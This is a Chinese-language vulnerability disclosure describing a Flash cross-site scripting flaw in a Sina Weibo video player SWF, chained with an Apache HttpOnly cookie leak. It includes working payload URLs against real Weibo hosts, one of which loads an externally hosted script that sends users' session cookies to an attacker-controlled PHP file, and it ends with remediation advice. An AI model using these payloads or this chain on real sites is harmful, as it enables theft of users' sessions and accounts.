最近发现一个有点意思的问题:不少FLASH开发人员在写代码的时候,对安全这块儿似乎没那么上心。一旦被恶意利用,后果可大可小——URL跳转、COOKIES盗取,甚至蠕虫攻击都可能搞得出来。
测试了IE、Firefox、Chrome几个浏览器,Chrome那边输入测试代码直接崩溃了,有点刺激。
漏洞成因
先说FLASH编程的安全问题。不少开发者对loaderInfo.parameters传入的参数几乎不做过滤,更有甚者,习惯直接把Ja vaScript函数名作为参数传进去。事实证明,新浪的开发人员也有类似的习惯。
先Google一下 inurl:(swf) site:weibo.com,把搜到的SWF全下载下来,用ASV全部反编译,得到一堆txt文件,每个Flash对应一个。
漏洞利用需要两个条件:有parameters,有ExternalInterface.call。拿这两个关键词去搜刚才的txt文件。
最终锁定一个目标:https://tw.weibo.com/_common/jwplayer/player.swf
漏洞源码大致如下:
//加载外部参数
this.loadFlashvars(RootReference.root.loaderInfo.parameters);
//写入参数
this.setConfigParam(param, params[param]);
//继续,可以看到参数写到了_config 里
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.trim(_arg2));
//再搜索ExternalInterface.call,找到以下位置
var callbacks:* = (_player.config.playerready) ? ((_player.config.playerready + ",") + "playerReady") : "playerReady";
if (ExternalInterface.a vailable){
for each (callback in callbacks.replace(/\s/, "").split(",")) {
try {
ExternalInterface.call(callback, {id:evt.id, client:evt.client, version:evt.version});
} catch(e:Error) {
};
};
clearQueuedEvents();
};
//可以看出call<--callback<--callbacks<---_player.config.playerready
基于以上分析,构造利用代码非常直接:
https://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){alert('xxx');})
但这样的代码还不足以构成真正威胁,顶多算个URL跳转。连cookies都拿不到,试试下面这个:
https://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){try{alert(document.cookie)}catch(e){alert(e.description)}})
返回的是「拒绝访问」错误。
突破限制,获取cookies。正好昨天在百度Ja vaScript吧看到一篇帖子,讲href、src的妙用,拿来突破这种限制正好。利用那篇文章中的技巧,构造以下代码:
https://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='ja vascript:""'})
从上面可以看出,成功弹出了weibo.com的cookies。但拿着这个cookies去发微博时发现不行。对比了一下获取的cookies,发现SUS、SUE两个值是http-only的,也就是document.cookie根本拿不到。
前些天看到有人发腾讯的Apache cookie泄漏漏洞,结果因为没有利用场景被忽略了。看了看tw.weibo.com的HTTP头,正好是Apache,这里可以试试用一用。从exploit-db下载了利用的JS,做了点小修改,保存为test3.js(放在appmaker.sinaapp.com上)。
构造利用代码,调用这个JS文件,代码中的test.php是接收cookies的文件:
https://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='ja vascript:""'})
编码一下,可以发到微博:
https://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function()%7Blocation.href%3D'ja vascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest3.js%5C'%3E%3C%2Fscript%3E%22'%7D)
结果证实该服务器存在Apache cookies泄漏漏洞,具体效果见漏洞证明。
总结
1. FLASH编写安全不容忽视。实际上,找了10多个FLASH,其中就有2个可以被利用。这说明此类漏洞不是偶然,而是被开发者普遍忽略的一个问题。另外有一个不在weibo.com域名下:https://js.t.sinajs.cn/t4/home/static/swf/img/SinaCollage.swf?JSHandler=(function(){alert('xxx')}),一起修复一下吧。
2. 本流程为Apache cookies泄漏漏洞提供了一个利用场景。
漏洞证明
1. 微博写入链接:
![新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]](/uploadfile/2026/0724/a6027f552e0e7704696508e9a8ae249e.webp)
2. 点击链接后,抓包,见图:
A. Apache cookies泄漏图,其中包含document.cookie无法获取到的SUS、SUE:![新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]](/uploadfile/2026/0724/d866e236889b9b901b330eaba7f34cc7.webp)
B. 可以看到Cookies被转发到我们指定的PHP文件中:![新浪微博COOKIES盗取[flash编程安全+apache http-only cookie 泄漏利用]](/uploadfile/2026/0724/e6e8e24b233e447caaebc564415c350d.webp)
3. 利用Cookies在SAE发送微博失败,提示「抱歉,你当前使用的账号、IP或应用由于违反了新浪微博的安全检测规则,暂时无法完成此操作啦。你可以绑定手机来取消此限制,如有问题@微博客服反馈。」——可能做了某些其他限制。
修复方案
1. 审查已上线的FLASH文件代码,严格控制FLASH文件参数的输入。
2. Apache的漏洞请打补丁。
